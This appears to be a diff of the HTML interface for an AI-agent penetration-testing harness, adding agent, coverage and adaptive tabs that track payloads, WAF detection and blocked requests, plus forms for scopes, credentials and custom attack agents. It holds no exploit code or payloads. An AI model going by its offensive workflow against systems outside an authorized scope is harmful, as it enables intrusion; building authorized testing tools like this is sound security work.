<button class="home-card" data-mode="aitest"><span class="home-card-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><rect x="7" y="7" width="10" height="10" rx="2"/><path d="M9.5 3v4M14.5 3v4M9.5 17v4M14.5 17v4M3 9.5h4M3 14.5h4M17 9.5h4M17 14.5h4"/></svg></span><span class="home-card-title">AI / LLM audit</span><span class="home-card-desc">Test AI agents and MCP endpoints</span></button>
|
||||
<button class="home-card" data-mode="cloud"><span class="home-card-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M7 18.5a4 4 0 0 1-.6-7.95A6 6 0 0 1 18 9.8a4.4 4.4 0 0 1-.5 8.7z"/></svg></span><span class="home-card-title">Cloud audit</span><span class="home-card-desc">AWS, GCP, or Azure configuration review</span></button>
|
||||
</div>
|
||||
<div class="home-recent" id="homeRecent"></div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ============ DASHBOARD ============ -->
|
||||
<section class="dashboard" id="dashView" hidden>
|
||||
<header class="topbar">
|
||||
@@ -101,8 +122,8 @@
|
||||
<div class="topbar-sub">All engagements — black-box, white-box, greybox, host, AI, mobile, container</div>
|
||||
</div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<input type="text" id="pentestSearch" class="topbar-search" placeholder="Search pentests…" />
|
||||
<button class="btn btn-accent" id="btnNewPentest2">+ New Pentest</button>
|
||||
<input type="text" id="pentestSearch" class="topbar-search" placeholder="Search pentests" />
|
||||
<button class="btn btn-accent" id="btnNewPentest2"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M12 5v14M5 12h14"/></svg> New pentest</button>
|
||||
</header>
|
||||
<div class="page-body" id="pentestsBody"><div class="empty-state">Loading…</div></div>
|
||||
</section>
|
||||
@@ -128,21 +149,31 @@
|
||||
<div class="topbar-sub">All findings across every engagement</div>
|
||||
</div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<select id="issuesSevFilter" class="dash-range">
|
||||
<option value="">All severities</option>
|
||||
<option value="critical">Critical</option>
|
||||
<option value="high">High</option>
|
||||
<option value="medium">Medium</option>
|
||||
<option value="low">Low</option>
|
||||
</select>
|
||||
<select id="issuesStatusFilter" class="dash-range">
|
||||
<option value="">All statuses</option>
|
||||
<option value="open">Open</option>
|
||||
<option value="fixed">Fixed</option>
|
||||
</select>
|
||||
<input type="text" id="issuesSearch" class="topbar-search" placeholder="Search issues…" />
|
||||
</header>
|
||||
<div class="page-body" id="issuesBody"><div class="empty-state">Loading…</div></div>
|
||||
<div class="page-body" id="issuesBody">
|
||||
<div class="issues-sev-counters" id="issuesSevCounters"></div>
|
||||
<nav class="issues-status-tabs" id="issuesStatusTabs">
|
||||
<button class="issues-status-tab active" data-status="">All <span class="issues-tab-count" id="issuesCountAll">0</span></button>
|
||||
<button class="issues-status-tab" data-status="open">Open <span class="issues-tab-count" id="issuesCountOpen">0</span></button>
|
||||
<button class="issues-status-tab" data-status="in-progress">In progress <span class="issues-tab-count" id="issuesCountProgress">0</span></button>
|
||||
<button class="issues-status-tab" data-status="fixed">Fixed <span class="issues-tab-count" id="issuesCountFixed">0</span></button>
|
||||
<button class="issues-status-tab" data-status="ignored">Ignored <span class="issues-tab-count" id="issuesCountIgnored">0</span></button>
|
||||
</nav>
|
||||
<div class="issues-filter-bar">
|
||||
<div class="search-wrap">
|
||||
<span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span>
|
||||
<input id="issuesSearch" type="text" placeholder="Search issues" />
|
||||
</div>
|
||||
<select id="issuesSevFilter" class="dash-range">
|
||||
<option value="">Severity</option>
|
||||
<option value="critical">Critical</option>
|
||||
<option value="high">High</option>
|
||||
<option value="medium">Medium</option>
|
||||
<option value="low">Low</option>
|
||||
</select>
|
||||
</div>
|
||||
<div id="issuesTableBody"><div class="empty-state">Loading…</div></div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ============ REPOSITORIES ============ -->
|
||||
@@ -200,7 +231,7 @@
|
||||
<div class="config-card-desc">Credentials used so agents test as a logged-in user. Kept only for this session.</div>
|
||||
<div class="form-group">
|
||||
<label for="vaultAuthHeader">Auth header</label>
|
||||
<input id="vaultAuthHeader" type="text" placeholder="Authorization: Bearer <token> or Cookie: session=..." />
|
||||
<input id="vaultAuthHeader" type="text" placeholder="Authorization: Bearer <token> or Cookie: session=…" />
|
||||
<div class="field-help">Sent to the CLI as an ephemeral creds file.</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
@@ -220,7 +251,7 @@
|
||||
<div class="form-group">
|
||||
<label for="vaultCollectionFile">API collection (Postman / OpenAPI / Swagger / HAR)</label>
|
||||
<input id="vaultCollectionFile" type="file" accept=".json,application/json,.har" multiple />
|
||||
<input id="vaultCollectionPath" type="text" placeholder="…or a path on disk: file.json or a directory of .json files" />
|
||||
<input id="vaultCollectionPath" type="text" placeholder="Path to a collection file or a folder of .json files" />
|
||||
<div class="field-help">Imports endpoints as known surface — file or directory of .json files.</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -262,7 +293,7 @@
|
||||
<div class="config-card-desc">The hard scope is the boundary: a request whose host is not listed is refused before it is sent. Exclusions always win. A capability token still caps all of this.</div>
|
||||
<div class="form-group">
|
||||
<label for="grScopeHard">Hard scope — the allowlist</label>
|
||||
<textarea id="grScopeHard" rows="3" placeholder="one per line, or comma-separated app.example.com *.staging.example.com"></textarea>
|
||||
<textarea id="grScopeHard" rows="3" placeholder="One per line or comma-separated app.example.com *.staging.example.com"></textarea>
|
||||
<div class="field-help">Exact host · <code>*.wildcard</code> · <code>CIDR</code> · <code>https://host/path</code> prefix. Empty = nothing extra enforced.</div>
|
||||
</div>
|
||||
<div class="field-row">
|
||||
@@ -401,12 +432,12 @@
|
||||
<section class="wizard" id="wizardView">
|
||||
<header class="topbar">
|
||||
<div>
|
||||
<div class="topbar-title">New Pentest</div>
|
||||
<div class="topbar-title">New pentest</div>
|
||||
<div class="topbar-sub">Asset → Scope & Auth → Leads → Model & Run → Review</div>
|
||||
</div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<button class="btn" id="btnOpenTerm2">❭_ Terminal</button>
|
||||
<button class="btn" id="btnOpenAuth2">🔑 Auth & Keys</button>
|
||||
<button class="btn" id="btnOpenTerm2"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="m5 7 5 5-5 5M12.5 18H19"/></svg> Terminal</button>
|
||||
<button class="btn" id="btnOpenAuth2"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="8" cy="15" r="3.8"/><path d="m10.7 12.3 8.8-8.8M16 7l3 3M13.5 9.5l2 2"/></svg> Auth & keys</button>
|
||||
</header>
|
||||
|
||||
<nav class="stepper" id="stepper">
|
||||
@@ -423,7 +454,7 @@
|
||||
<div class="wizard-panel" data-panel="0">
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="fieldName">Engagement name</label>
|
||||
<input id="fieldName" type="text" placeholder="e.g. Keystone – Digital Banking" aria-describedby="errName" />
|
||||
<input id="fieldName" type="text" placeholder="Keystone digital banking" aria-describedby="errName" />
|
||||
<div class="field-error" id="errName" hidden></div>
|
||||
<div class="field-help">Identifies this engagement in the sidebar and run history — required.</div>
|
||||
</div>
|
||||
@@ -448,7 +479,7 @@
|
||||
</div>
|
||||
<div class="field-group" id="fieldRepoGroup" hidden>
|
||||
<label class="field-label" for="fieldRepo">Source repo</label>
|
||||
<input id="fieldRepo" type="text" placeholder="owner/repo, a GitHub URL, or a local path" aria-describedby="errRepo" />
|
||||
<input id="fieldRepo" type="text" placeholder="owner/repo, GitHub URL, or local path" aria-describedby="errRepo" />
|
||||
<div class="field-error" id="errRepo" hidden></div>
|
||||
<div class="field-help">Cloned automatically if it's a GitHub URL or owner/repo shorthand.</div>
|
||||
</div>
|
||||
@@ -469,20 +500,20 @@
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="fieldObjective">Objective</label>
|
||||
<textarea id="fieldObjective" placeholder="e.g. Pre-launch review of the checkout flow — prove any path to unauthorized order access."></textarea>
|
||||
<textarea id="fieldObjective" placeholder="Pre-launch review of the checkout flow. Prove any path to unauthorized order access."></textarea>
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="fieldFocus">Focus</label>
|
||||
<textarea id="fieldFocus" placeholder="e.g. Prioritize the paths most likely to cause data leakage."></textarea>
|
||||
<textarea id="fieldFocus" placeholder="Prioritize the paths most likely to leak customer data."></textarea>
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="fieldClasses">Focus vuln classes <span class="req">— optional</span></label>
|
||||
<input id="fieldClasses" type="text" placeholder="idor, sqli, xss, ssrf — pins the matching agents, skips recon-driven selection" />
|
||||
<input id="fieldClasses" type="text" placeholder="idor, sqli, xss, ssrf (pins matching agents and skips recon-driven selection)" />
|
||||
<div class="field-help">Same as the CLI <code>--class</code> / REPL <code>/class</code>. Leave empty for recon-driven selection.</div>
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="fieldOutOfScope">Out of scope</label>
|
||||
<textarea id="fieldOutOfScope" placeholder="Hosts, paths, or techniques the agents must not touch."></textarea>
|
||||
<textarea id="fieldOutOfScope" placeholder="Hosts, paths, or techniques the agents must not touch"></textarea>
|
||||
</div>
|
||||
<div>
|
||||
<div class="section-title">Authentication</div>
|
||||
@@ -499,7 +530,7 @@
|
||||
<div class="lead-toolbar">
|
||||
<select class="input-sm" id="catFilter" title="Show one category"><option value="">All categories</option></select>
|
||||
<div class="search-wrap">
|
||||
<span class="search-icon" aria-hidden="true">⌕</span>
|
||||
<span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span>
|
||||
<input id="leadSearch" type="text" placeholder="Search leads by name or CWE" />
|
||||
</div>
|
||||
<div class="chips">
|
||||
@@ -672,7 +703,7 @@
|
||||
<div class="run-meta" id="livePinned"></div>
|
||||
</div>
|
||||
<div class="run-actions">
|
||||
<button class="btn" id="btnOpenTerm3">❭_ Terminal</button>
|
||||
<button class="btn" id="btnOpenTerm3"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="m5 7 5 5-5 5M12.5 18H19"/></svg> Terminal</button>
|
||||
<a class="btn" id="btnOpenReport" target="_blank" hidden>Open report</a>
|
||||
<button class="btn" id="btnPauseRun" title="Hold the run where it is — in-flight agents finish, nothing is lost">⏸ Pause</button>
|
||||
<a class="btn" id="btnDownloadLog" download>Download log</a>
|
||||
@@ -685,6 +716,7 @@
|
||||
<div class="progress-bar" id="progressBar"><div class="progress-fill" id="progressFill"></div></div>
|
||||
<div class="progress-label" id="progressLabel">0 / 0 agents</div>
|
||||
</div>
|
||||
<div class="run-sev-bar" id="liveSevBar" hidden></div>
|
||||
<div class="agent-panel" id="agentPanel" hidden>
|
||||
<div class="agent-panel-head">
|
||||
<span>What's being tested</span>
|
||||
@@ -694,7 +726,10 @@
|
||||
</div>
|
||||
<nav class="run-tabs">
|
||||
<button class="run-tab active" data-tab="findings">Findings <span id="liveFindingsCount">0</span></button>
|
||||
<button class="run-tab" data-tab="log">Activity log</button>
|
||||
<button class="run-tab" data-tab="agents"><span class="tab-dot" id="agentsTabDot"></span>Agents <span id="liveAgentsCount" class="tab-badge">0</span></button>
|
||||
<button class="run-tab" data-tab="coverage"><span class="tab-dot" id="coverageTabDot"></span>Coverage</button>
|
||||
<button class="run-tab" data-tab="adaptive"><span class="tab-dot" id="adaptiveTabDot"></span>Adaptive</button>
|
||||
<button class="run-tab" data-tab="log"><span class="tab-dot" id="activityTabDot"></span>Activity</button>
|
||||
</nav>
|
||||
<div class="run-body">
|
||||
<div class="run-tab-panel" data-tabpanel="findings">
|
||||
@@ -702,7 +737,7 @@
|
||||
<div class="sev-summary" id="liveSevSummary"></div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<div class="search-wrap">
|
||||
<span class="search-icon" aria-hidden="true">⌕</span>
|
||||
<span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span>
|
||||
<input id="liveFindingSearch" type="text" placeholder="Filter findings" />
|
||||
</div>
|
||||
</div>
|
||||
@@ -714,11 +749,82 @@
|
||||
</div>
|
||||
<div class="empty-state" id="liveFindingsEmpty">No validated findings yet.</div>
|
||||
</div>
|
||||
<div class="run-tab-panel" data-tabpanel="agents" hidden>
|
||||
<div class="agents-tab-head">
|
||||
<div class="agents-tab-stats" id="agentsTabStats"></div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<div class="agent-legend"><i class="ap running"></i>testing <i class="ap done"></i>done <i class="ap found"></i>found <i class="ap failed"></i>error</div>
|
||||
</div>
|
||||
<div class="agents-tab-grid" id="agentsTabGrid"></div>
|
||||
<div class="empty-state" id="agentsTabEmpty">No agents dispatched yet.</div>
|
||||
</div>
|
||||
<div class="run-tab-panel" data-tabpanel="coverage" hidden>
|
||||
<div class="coverage-head">
|
||||
<div class="coverage-stats" id="coverageStats"></div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<div class="search-wrap">
|
||||
<span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span>
|
||||
<input id="coverageSearch" type="text" placeholder="Filter endpoints" />
|
||||
</div>
|
||||
</div>
|
||||
<div class="cv-pills" id="coveragePills"></div>
|
||||
<div class="coverage-list" id="coverageList"></div>
|
||||
<div class="empty-state" id="coverageEmpty">Coverage will appear here as agents record each surface they test.</div>
|
||||
</div>
|
||||
<div class="run-tab-panel" data-tabpanel="adaptive" hidden>
|
||||
<div class="adaptive-dashboard">
|
||||
<div class="adaptive-section">
|
||||
<h3 class="adaptive-title">Target Stack</h3>
|
||||
<div class="adaptive-stack" id="adaptiveStack">No stack data yet.</div>
|
||||
</div>
|
||||
<div class="adaptive-section">
|
||||
<h3 class="adaptive-title">WAF Intelligence</h3>
|
||||
<div class="adaptive-waf" id="adaptiveWaf">No WAF detected yet.</div>
|
||||
</div>
|
||||
<div class="adaptive-section">
|
||||
<h3 class="adaptive-title">Payload Evolution</h3>
|
||||
<div class="adaptive-stats-grid" id="adaptivePayloadStats">
|
||||
<div class="astat"><span class="astat-n" id="adaptPayloads">0</span><span class="astat-l">Payloads</span></div>
|
||||
<div class="astat"><span class="astat-n" id="adaptTriggered">0</span><span class="astat-l">Triggered</span></div>
|
||||
<div class="astat"><span class="astat-n" id="adaptBlocked">0</span><span class="astat-l">Blocked</span></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="adaptive-section">
|
||||
<h3 class="adaptive-title">Exploration Graph</h3>
|
||||
<div class="adaptive-stats-grid" id="adaptiveGraphStats">
|
||||
<div class="astat"><span class="astat-n" id="graphAssets">0</span><span class="astat-l">Assets</span></div>
|
||||
<div class="astat"><span class="astat-n" id="graphExplored">0</span><span class="astat-l">Explored</span></div>
|
||||
<div class="astat"><span class="astat-n" id="graphFindings">0</span><span class="astat-l">Findings</span></div>
|
||||
<div class="astat"><span class="astat-n" id="graphCoverage">0%</span><span class="astat-l">Coverage</span></div>
|
||||
<div class="astat"><span class="astat-n" id="graphHints">0</span><span class="astat-l">Hints</span></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="adaptive-section">
|
||||
<h3 class="adaptive-title">Planner</h3>
|
||||
<div class="adaptive-stats-grid" id="adaptivePlannerStats">
|
||||
<div class="astat"><span class="astat-n" id="planQueued">0</span><span class="astat-l">Queued</span></div>
|
||||
<div class="astat"><span class="astat-n" id="planRunning">0</span><span class="astat-l">Running</span></div>
|
||||
<div class="astat"><span class="astat-n" id="planDone">0</span><span class="astat-l">Done</span></div>
|
||||
<div class="astat"><span class="astat-n" id="planFailed">0</span><span class="astat-l">Failed</span></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="adaptive-section">
|
||||
<h3 class="adaptive-title">Noise Governor</h3>
|
||||
<div class="adaptive-stats-grid" id="adaptiveNoiseStats">
|
||||
<div class="astat"><span class="astat-n" id="noiseRequests">0</span><span class="astat-l">Requests</span></div>
|
||||
<div class="astat"><span class="astat-n" id="noiseCached">0</span><span class="astat-l">Cached</span></div>
|
||||
<div class="astat"><span class="astat-n" id="noiseThrottled">0</span><span class="astat-l">Throttled</span></div>
|
||||
<div class="astat"><span class="astat-n" id="noiseBlocked">0</span><span class="astat-l">Blocked</span></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="empty-state" id="adaptiveEmpty">Adaptive intelligence will appear as the engagement runs.</div>
|
||||
</div>
|
||||
<div class="run-tab-panel log-tab-panel" data-tabpanel="log" hidden>
|
||||
<div class="log-panel" id="logList"></div>
|
||||
<div class="send-prompt-row" id="sendPromptRow" hidden>
|
||||
<span class="repl-prompt">❭</span>
|
||||
<input id="sendPromptInput" type="text" autocomplete="off" spellcheck="false" placeholder="/status · /stop · /continue · or describe it in plain language" />
|
||||
<input id="sendPromptInput" type="text" autocomplete="off" spellcheck="false" placeholder="Type /status, /stop, /continue, or describe what to do" />
|
||||
<button class="btn btn-sm" id="btnSendPromptTerm" title="Open this session in the full terminal">Open in terminal</button>
|
||||
</div>
|
||||
<div class="field-help" id="sendPromptHelp" hidden>This session stays interactive while the engagement runs — type a command or plain instruction and press Enter.</div>
|
||||
@@ -749,18 +855,24 @@
|
||||
</header>
|
||||
<nav class="run-tabs">
|
||||
<button class="run-tab active" data-tab="findings">Findings <span id="detailFindingsCount">0</span></button>
|
||||
<button class="run-tab" data-tab="agents">Agents <span id="detailAgentsCount" class="tab-badge">0</span></button>
|
||||
<button class="run-tab" data-tab="coverage">Coverage</button>
|
||||
</nav>
|
||||
<div class="run-sev-bar" id="detailSevBar" hidden></div>
|
||||
<div class="run-body">
|
||||
<div class="run-tab-panel" data-tabpanel="findings">
|
||||
<div class="findings-toolbar">
|
||||
<div class="sev-summary" id="detailSevSummary"></div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<div class="search-wrap">
|
||||
<span class="search-icon" aria-hidden="true">⌕</span>
|
||||
<span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span>
|
||||
<input id="detailFindingSearch" type="text" placeholder="Filter findings" />
|
||||
</div>
|
||||
<button class="btn btn-sm" id="btnExportCsv" title="Export the filtered findings as CSV">⤓ CSV</button>
|
||||
</div>
|
||||
<div class="run-report-nav" id="detailReportNav" hidden>
|
||||
<div class="run-report-nav-title">Report sections</div>
|
||||
</div>
|
||||
<div class="kpi-row" id="detailKpis"></div>
|
||||
<div id="detailRegression" hidden></div>
|
||||
<div class="table-wrap">
|
||||
@@ -771,6 +883,27 @@
|
||||
</div>
|
||||
<div class="empty-state" id="detailFindingsEmpty">No validated findings.</div>
|
||||
</div>
|
||||
<div class="run-tab-panel" data-tabpanel="agents" hidden>
|
||||
<div class="agents-tab-head">
|
||||
<div class="agents-tab-stats" id="detailAgentsStats"></div>
|
||||
<div class="topbar-spacer"></div>
|
||||
</div>
|
||||
<div class="agents-tab-grid" id="detailAgentsGrid"></div>
|
||||
<div class="empty-state" id="detailAgentsEmpty">No agent data recorded for this run.</div>
|
||||
</div>
|
||||
<div class="run-tab-panel" data-tabpanel="coverage" hidden>
|
||||
<div class="coverage-head">
|
||||
<div class="coverage-stats" id="detailCoverageStats"></div>
|
||||
<div class="topbar-spacer"></div>
|
||||
<div class="search-wrap">
|
||||
<span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span>
|
||||
<input id="detailCoverageSearch" type="text" placeholder="Filter endpoints" />
|
||||
</div>
|
||||
</div>
|
||||
<div class="cv-pills" id="detailCoveragePills"></div>
|
||||
<div class="coverage-list" id="detailCoverageList"></div>
|
||||
<div class="empty-state" id="detailCoverageEmpty">No endpoint coverage data for this run.</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
@@ -788,7 +921,7 @@
|
||||
<button class="term-btn" id="btnTermClear" title="Clear screen (Ctrl+L)">clear</button>
|
||||
<button class="term-btn" id="btnTermRestart" title="Start a fresh harness session">restart</button>
|
||||
<button class="term-btn" id="btnTermExpand" title="Expand / collapse the dock">expand</button>
|
||||
<button class="icon-btn" id="btnTermClose" title="Close (Esc)">✕</button>
|
||||
<button class="icon-btn" id="btnTermClose" title="Close (Esc)" aria-label="Close"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M6 6l12 12M18 6 6 18"/></svg></button>
|
||||
</div>
|
||||
<div class="term-alert" id="termAlert" hidden></div>
|
||||
<div class="term-host" id="termHost"></div>
|
||||
@@ -805,7 +938,7 @@
|
||||
<div class="modal">
|
||||
<div class="modal-head">
|
||||
<div class="title">Auth & Keys</div>
|
||||
<button class="icon-btn" id="btnCloseAuth">✕</button>
|
||||
<button class="icon-btn" id="btnCloseAuth" aria-label="Close"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M6 6l12 12M18 6 6 18"/></svg></button>
|
||||
</div>
|
||||
<div class="modal-tabs">
|
||||
<button class="modal-tab active" data-mtab="target">Target auth</button>
|
||||
@@ -817,7 +950,7 @@
|
||||
<div class="modal-panel" data-mpanel="target">
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="authHeader">Auth header</label>
|
||||
<input id="authHeader" type="text" placeholder="Authorization: Bearer <token> or Cookie: session=..." />
|
||||
<input id="authHeader" type="text" placeholder="Authorization: Bearer <token> or Cookie: session=…" />
|
||||
<div class="field-help">Used so agents test as a logged-in user. Kept only for this session, sent to the CLI as an ephemeral creds file.</div>
|
||||
</div>
|
||||
<div class="field-group">
|
||||
@@ -859,7 +992,7 @@
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="scopeHard">Hard scope <span class="req">— the allowlist</span></label>
|
||||
<textarea id="scopeHard" rows="3" placeholder="one per line, or comma-separated app.example.com *.staging.example.com https://example.com/api/v2 10.20.30.0/24"></textarea>
|
||||
<textarea id="scopeHard" rows="3" placeholder="One per line or comma-separated app.example.com *.staging.example.com https://example.com/api/v2 10.20.30.0/24"></textarea>
|
||||
<div class="field-help">Exact host · <code>*.wildcard</code> (apex + subdomains) · <code>CIDR</code> · <code>https://host/path</code> prefix. Empty = nothing extra is enforced here.</div>
|
||||
</div>
|
||||
<div class="field-row">
|
||||
@@ -968,7 +1101,7 @@
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="collectionFile">API collection (Postman / OpenAPI / Swagger / HAR)</label>
|
||||
<input id="collectionFile" type="file" accept=".json,application/json,.har" multiple />
|
||||
<input id="collectionPath" type="text" placeholder="…or a path on disk: file.json or a directory of .json files" />
|
||||
<input id="collectionPath" type="text" placeholder="Path to a collection file or a folder of .json files" />
|
||||
<div class="field-help" id="collectionHelp">Imports endpoints as known surface — file or directory of .json files. Every route is tested directly, alongside recon.</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -981,7 +1114,7 @@
|
||||
<div class="modal modal-sm">
|
||||
<div class="modal-head">
|
||||
<div class="title">Custom lead</div>
|
||||
<button class="icon-btn" id="btnCloseLead">✕</button>
|
||||
<button class="icon-btn" id="btnCloseLead" aria-label="Close"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M6 6l12 12M18 6 6 18"/></svg></button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="field-help" style="margin-bottom:14px;">A <b>lead</b> is a specialist agent the harness runs. Add one two ways — let Claude write it from a description, or paste your own agent / system prompt to run verbatim. Either way it is saved as a real, pinnable agent in <code>agents_md/vulns/</code> and you can remove it later.</div>
|
||||
@@ -991,12 +1124,12 @@
|
||||
</div>
|
||||
<div class="field-group" data-leadpanel="describe">
|
||||
<label class="field-label" for="leadDesc">What should this lead test?</label>
|
||||
<textarea id="leadDesc" placeholder="e.g. Abuse the invoice PDF export to read internal files via the template engine."></textarea>
|
||||
<textarea id="leadDesc" placeholder="Abuse the invoice PDF export to read internal files through the template engine."></textarea>
|
||||
<div class="field-help">Claude (Opus, subscription) writes a real specialist agent for it and pins it. If generation is unavailable, the text is folded into <code>--focus</code> instead.</div>
|
||||
</div>
|
||||
<div class="field-group" data-leadpanel="own" hidden>
|
||||
<label class="field-label" for="leadName">Name</label>
|
||||
<input id="leadName" type="text" placeholder="e.g. GraphQL Introspection Abuse" />
|
||||
<input id="leadName" type="text" placeholder="GraphQL introspection abuse" />
|
||||
<label class="field-label" for="leadOwn" style="margin-top:10px;">Your agent / system prompt</label>
|
||||
<textarea id="leadOwn" rows="10" placeholder="Paste a full agent markdown (# Title / ## User Prompt / ## System Prompt), or just your system prompt — it will be wrapped into an agent. Use {target} and {recon_json} placeholders."></textarea>
|
||||
<div class="field-help">Used verbatim — no model rewrites it. {target} and {recon_json} are filled per run.</div>
|
||||
@@ -1018,10 +1151,11 @@
|
||||
<span class="sev" id="fmSev">—</span>
|
||||
<span class="title" id="fmTitle" style="margin-left:8px;">—</span>
|
||||
</div>
|
||||
<button class="icon-btn" id="btnCloseFinding">✕</button>
|
||||
<button class="icon-btn" id="btnCloseFinding" aria-label="Close"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M6 6l12 12M18 6 6 18"/></svg></button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="review-grid" id="fmMeta" style="margin-bottom: var(--sp-5);"></div>
|
||||
<div class="fm-meta-grid" id="fmMeta"></div>
|
||||
<div class="fm-actions" id="fmActions"></div>
|
||||
|
||||
<div id="fmSection-evidence"></div>
|
||||
<div id="fmSection-impact"></div>
|
||||
@@ -1031,7 +1165,7 @@
|
||||
<div class="field-group" id="fmSection-wire">
|
||||
<div class="fm-wire-head">
|
||||
<label class="field-label">Wire evidence — the bytes behind this finding</label>
|
||||
<button class="btn btn-sm" id="btnFindingRetest">⟳ Re-test this finding</button>
|
||||
<button class="btn btn-sm" id="btnFindingRetest"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M20 11a8 8 0 1 0-2.3 5.7"/><path d="M20 4v7h-7"/></svg> Re-test this finding</button>
|
||||
</div>
|
||||
<div id="fmWireSummary"></div>
|
||||
<div id="fmRetestHistory"></div>
|
||||
@@ -1051,7 +1185,7 @@
|
||||
<div class="modal modal-sm">
|
||||
<div class="modal-head">
|
||||
<div class="title">Add Repository</div>
|
||||
<button class="icon-btn" onclick="$('#repoModal').hidden=true">✕</button>
|
||||
<button class="icon-btn" onclick="$('#repoModal').hidden=true" aria-label="Close"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M6 6l12 12M18 6 6 18"/></svg></button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="field-group">
|
||||
@@ -1061,7 +1195,7 @@
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="repoName">Display name (optional)</label>
|
||||
<input id="repoName" type="text" placeholder="My API" />
|
||||
<input id="repoName" type="text" placeholder="Payments API" />
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="repoBranch">Default branch</label>
|
||||
@@ -1084,7 +1218,7 @@
|
||||
<div class="modal modal-sm">
|
||||
<div class="modal-head">
|
||||
<div class="title">Add Domain</div>
|
||||
<button class="icon-btn" onclick="$('#domainModal').hidden=true">✕</button>
|
||||
<button class="icon-btn" onclick="$('#domainModal').hidden=true" aria-label="Close"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M6 6l12 12M18 6 6 18"/></svg></button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="field-group">
|
||||
@@ -1126,7 +1260,7 @@
|
||||
<div class="modal modal-sm">
|
||||
<div class="modal-head">
|
||||
<div class="title">Add Network</div>
|
||||
<button class="icon-btn" onclick="$('#networkModal').hidden=true">✕</button>
|
||||
<button class="icon-btn" onclick="$('#networkModal').hidden=true" aria-label="Close"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M6 6l12 12M18 6 6 18"/></svg></button>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<div class="field-group">
|
||||
@@ -1144,7 +1278,7 @@
|
||||
</div>
|
||||
<div class="field-group">
|
||||
<label class="field-label" for="networkTransport">Transport</label>
|
||||
<input id="networkTransport" type="text" placeholder="direct / socks5://host:port / ssh://user@bastion" spellcheck="false" />
|
||||
<input id="networkTransport" type="text" placeholder="direct, socks5://host:port, or ssh://user@bastion" spellcheck="false" />
|
||||
<div class="field-help">How to reach this network. Leave empty for direct access.</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1160,7 +1294,7 @@
|
||||
<div class="modal modal-sm">
|
||||
<div class="modal-head">
|
||||
<div class="title" id="integModalTitle">Configure Integration</div>
|
||||
<button class="icon-btn" onclick="$('#integrationModal').hidden=true">✕</button>
|
||||
<button class="icon-btn" onclick="$('#integrationModal').hidden=true" aria-label="Close"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M6 6l12 12M18 6 6 18"/></svg></button>
|
||||
</div>
|
||||
<div class="modal-body" id="integModalBody">
|
||||
